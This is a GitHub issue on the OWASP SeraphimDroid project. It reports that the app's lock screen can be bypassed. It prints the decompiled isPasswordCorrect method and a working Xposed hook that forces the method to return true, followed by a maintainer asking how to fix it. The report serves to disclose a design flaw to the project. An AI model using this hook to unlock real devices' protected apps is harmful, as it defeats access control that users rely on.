owasp-seraphimdroid icon indicating copy to clipboard operation
owasp-seraphimdroid copied to clipboard

Bypassing the application lock

Open voider1 opened this issue 7 years ago • 1 comments

I've managed to bypass the application lock screen by writing an Xposed module. Allow me to explain how I did it, it isn't complicated.

I used the Xposed framework for this and wrote a single hook for it. I decompiled the APK with dex2jar and opened it in bytecode-viewer. After inspecting the behaviour of the application lock screen I noticed that it automatically accepts the passcode without pressing a button. Which means that it checks the length of the passcode or the whole passcode on each keypress. The decompiled code revealed to me that it checks the password on each keypress. Note, I didn't look at the source in the repo, I did a blackbox test.

So in the PasswordActivity you have this method:

 private boolean isPasswordCorrect(String paramString)
 {
    boolean bool4 = false;
    boolean bool5 = false;
    boolean bool1 = false;
    boolean bool2 = bool4;
    boolean bool3 = bool5;
    try
    {
      paramString = MessageDigest.getInstance("SHA-256").digest(paramString.getBytes("UTF-8"));
      bool2 = bool4;
      bool3 = bool5;
      SQLiteDatabase localSQLiteDatabase = this.dbHelper.getReadableDatabase();
      bool2 = bool4;
      bool3 = bool5;
      Cursor localCursor = localSQLiteDatabase.rawQuery("SELECT * FROM password", null);
      bool2 = bool4;
      bool3 = bool5;
      localCursor.moveToNext();
      bool2 = bool4;
      bool3 = bool5;
      if (Arrays.equals(paramString, localCursor.getBlob(1)))
      {
        bool2 = bool4;
        bool3 = bool5;
        this.etPassword.setText("");
        bool1 = true;
      }
      bool2 = bool1;
      bool3 = bool1;
      localCursor.close();
      bool2 = bool1;
      bool3 = bool1;
      localSQLiteDatabase.close();
      return bool1;
    }
    catch (NoSuchAlgorithmException paramString)
    {
      paramString.printStackTrace();
      return bool2;
    }
    catch (UnsupportedEncodingException paramString)
    {
      paramString.printStackTrace();
    }
    return bool3;
  }

So I've written this hook:

    @Override
    public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) throws Throwable {
        final String packageName = "org.owasp.seraphimdroid";
        if (!lpparam.packageName.equals(packageName)) { return; }

        final String passwordActivity = packageName + ".PasswordActivity";
        final String isPasswordCorrect = "isPasswordCorrect";

        XposedBridge.log("[+] Hooking method");

        findAndHookMethod(passwordActivity, lpparam.classLoader, isPasswordCorrect, String.class, new XC_MethodHook() {
            @Override
            protected void afterHookedMethod(MethodHookParam param) throws Throwable {
                param.setResult(true);
                XposedBridge.log("[+] Changed result of " + isPasswordCorrect + " to true");
            }
        });
    }

And this is how I've bypassed the application lock. This design seems broken by default, the password has in fact nothing to do with unlocking the application, hence should be updated. It shouldn't be this easy.

voider1 avatar Feb 08 '17 14:02 voider1

@voider1 How do you suggest this should be fixed?

dufferzafar avatar Jan 18 '18 18:01 dufferzafar